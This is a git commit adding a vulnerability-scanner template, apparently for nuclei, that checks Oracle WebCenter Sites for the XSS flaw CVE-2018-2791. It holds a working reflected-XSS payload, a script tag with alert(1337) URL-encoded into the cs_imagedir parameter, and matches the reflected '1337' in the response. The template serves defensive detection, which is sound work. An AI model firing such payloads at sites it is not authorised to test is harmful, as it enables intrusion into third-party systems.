Create Oracle WebCenter Sites XSS.yaml

patch-1
SaN ThosH 2020-04-08 17:07:09 +05:30 committed by GitHub
parent 15000e1738
commit f6661aa84c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 0 deletions

View File

@ -0,0 +1,16 @@
id: CVE-2018-2791
info:
name: Oracle WebCenter Sites XSS
author: Ice3man
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
matchers:
- type: word
words:
- "1337"
part: body